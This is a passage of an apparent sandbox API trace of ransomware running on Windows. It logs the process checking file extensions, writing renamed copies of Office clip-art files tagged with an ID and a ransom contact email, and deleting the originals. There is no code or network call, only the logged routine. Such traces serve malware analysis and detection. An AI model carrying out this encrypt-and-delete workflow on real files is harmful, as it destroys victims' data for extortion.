lstrlenW (lpString=".zip") returned 4 [0288.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.484] lstrlenW (lpString=".rar") returned 4 [0288.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.484] lstrlenW (lpString=".bz2") returned 4 [0288.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.484] lstrlenW (lpString=".7z") returned 3 [0288.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.485] lstrlenW (lpString=".dbf") returned 4 [0288.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.485] lstrlenW (lpString=".1cd") returned 4 [0288.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.485] lstrlenW (lpString=".jpg") returned 4 [0288.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.485] lstrlenW (lpString=".doc") returned 4 [0288.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.485] lstrlenW (lpString=".docx") returned 5 [0288.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.485] lstrlenW (lpString=".pdf") returned 4 [0288.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.485] lstrlenW (lpString=".xls") returned 4 [0288.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.485] lstrlenW (lpString=".xlsx") returned 5 [0288.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.485] lstrlenW (lpString=".ppt") returned 4 [0288.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.485] lstrlenW (lpString=".zip") returned 4 [0288.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.485] lstrlenW (lpString=".rar") returned 4 [0288.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.485] lstrlenW (lpString=".bz2") returned 4 [0288.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.485] lstrlenW (lpString=".7z") returned 3 [0288.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.486] lstrlenW (lpString=".dbf") returned 4 [0288.486] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.486] lstrlenW (lpString=".1cd") returned 4 [0288.486] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.486] lstrlenW (lpString=".jpg") returned 4 [0288.486] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.486] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.486] lstrlenW (lpString="BS00174_.WMF") returned 12 [0288.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0288.486] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=8366) returned 1 [0288.486] CloseHandle (hObject=0x10b0) returned 1 [0288.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220 [0288.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0288.486] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.487] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0288.487] GetLastError () returned 0x0 [0288.487] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x20ae, lpOverlapped=0x0) returned 1 [0288.488] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x20b0, lpOverlapped=0x0) returned 1 [0288.489] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.489] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.489] SetEndOfFile (hFile=0x10b4) returned 1 [0288.489] CloseHandle (hObject=0x10b4) returned 1 [0288.489] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.489] SetEndOfFile (hFile=0x10b0) returned 1 [0288.490] CloseHandle (hObject=0x10b0) returned 1 [0288.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0288.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.491] lstrlenW (lpString=".doc") returned 4 [0288.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.491] lstrlenW (lpString=".docx") returned 5 [0288.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.491] lstrlenW (lpString=".pdf") returned 4 [0288.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.491] lstrlenW (lpString=".xls") returned 4 [0288.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.491] lstrlenW (lpString=".xlsx") returned 5 [0288.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.491] lstrlenW (lpString=".ppt") returned 4 [0288.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.491] lstrlenW (lpString=".zip") returned 4 [0288.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.491] lstrlenW (lpString=".rar") returned 4 [0288.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.491] lstrlenW (lpString=".bz2") returned 4 [0288.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.491] lstrlenW (lpString=".7z") returned 3 [0288.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.491] lstrlenW (lpString=".dbf") returned 4 [0288.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.491] lstrlenW (lpString=".1cd") returned 4 [0288.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.491] lstrlenW (lpString=".jpg") returned 4 [0288.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.492] lstrlenW (lpString=".doc") returned 4 [0288.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.492] lstrlenW (lpString=".docx") returned 5 [0288.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.492] lstrlenW (lpString=".pdf") returned 4 [0288.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.492] lstrlenW (lpString=".xls") returned 4 [0288.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.492] lstrlenW (lpString=".xlsx") returned 5 [0288.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.492] lstrlenW (lpString=".ppt") returned 4 [0288.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.492] lstrlenW (lpString=".zip") returned 4 [0288.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.492] lstrlenW (lpString=".rar") returned 4 [0288.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.492] lstrlenW (lpString=".bz2") returned 4 [0288.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.492] lstrlenW (lpString=".7z") returned 3 [0288.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.492] lstrlenW (lpString=".dbf") returned 4 [0288.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.492] lstrlenW (lpString=".1cd") returned 4 [0288.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0288.492] lstrlenW (lpString=".jpg") returned 4 [0288.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.492] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.492] lstrlenW (lpString="BS00184_.WMF") returned 12 [0288.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0288.493] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=4976) returned 1 [0288.493] CloseHandle (hObject=0x10b0) returned 1 [0288.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220 [0288.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0288.493] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.493] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0288.493] GetLastError () returned 0x0 [0288.493] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1370, lpOverlapped=0x0) returned 1 [0288.495] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1380, lpOverlapped=0x0) returned 1 [0288.495] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.495] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.496] SetEndOfFile (hFile=0x10b4) returned 1 [0288.496] CloseHandle (hObject=0x10b4) returned 1 [0288.496] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.496] SetEndOfFile (hFile=0x10b0) returned 1 [0288.497] CloseHandle (hObject=0x10b0) returned 1 [0288.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0288.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.497] lstrlenW (lpString=".doc") returned 4 [0288.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.497] lstrlenW (lpString=".docx") returned 5 [0288.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.497] lstrlenW (lpString=".pdf") returned 4 [0288.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.497] lstrlenW (lpString=".xls") returned 4 [0288.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.497] lstrlenW (lpString=".xlsx") returned 5 [0288.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.497] lstrlenW (lpString=".ppt") returned 4 [0288.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.497] lstrlenW (lpString=".zip") returned 4 [0288.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.497] lstrlenW (lpString=".rar") returned 4 [0288.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString=".bz2") returned 4 [0288.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString=".7z") returned 3 [0288.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.498] lstrlenW (lpString=".dbf") returned 4 [0288.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.498] lstrlenW (lpString=".1cd") returned 4 [0288.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.498] lstrlenW (lpString=".jpg") returned 4 [0288.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.498] lstrlenW (lpString=".doc") returned 4 [0288.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString=".docx") returned 5 [0288.498] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.498] lstrlenW (lpString=".pdf") returned 4 [0288.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString=".xls") returned 4 [0288.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.498] lstrlenW (lpString=".xlsx") returned 5 [0288.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.498] lstrlenW (lpString=".ppt") returned 4 [0288.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.498] lstrlenW (lpString=".zip") returned 4 [0288.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.498] lstrlenW (lpString=".rar") returned 4 [0288.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.498] lstrlenW (lpString=".bz2") returned 4 [0288.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.499] lstrlenW (lpString=".7z") returned 3 [0288.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.499] lstrlenW (lpString=".dbf") returned 4 [0288.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.499] lstrlenW (lpString=".1cd") returned 4 [0288.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0288.499] lstrlenW (lpString=".jpg") returned 4 [0288.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.499] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.499] lstrlenW (lpString="BS00186_.WMF") returned 12 [0288.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0288.499] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=12788) returned 1 [0288.499] CloseHandle (hObject=0x10b0) returned 1 [0288.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x220 [0288.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0288.500] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.500] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0288.500] GetLastError () returned 0x0 [0288.500] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x31f4, lpOverlapped=0x0) returned 1 [0288.501] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x3200, lpOverlapped=0x0) returned 1 [0288.512] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.512] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.513] SetEndOfFile (hFile=0x10b4) returned 1 [0288.513] CloseHandle (hObject=0x10b4) returned 1 [0288.513] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.513] SetEndOfFile (hFile=0x10b0) returned 1 [0288.514] CloseHandle (hObject=0x10b0) returned 1 [0288.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf")) returned 1 [0288.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.517] lstrlenW (lpString=".doc") returned 4 [0288.517] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.517] lstrlenW (lpString=".docx") returned 5 [0288.517] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.517] lstrlenW (lpString=".pdf") returned 4 [0288.517] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.517] lstrlenW (lpString=".xls") returned 4 [0288.517] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.517] lstrlenW (lpString=".xlsx") returned 5 [0288.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.518] lstrlenW (lpString=".ppt") returned 4 [0288.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 68 [0288.518] lstrlenW (lpString=".zip") returned 4 [0288.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.518] lstrlenW (lpString=".rar") returned 4 [0288.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.518] lstrlenW 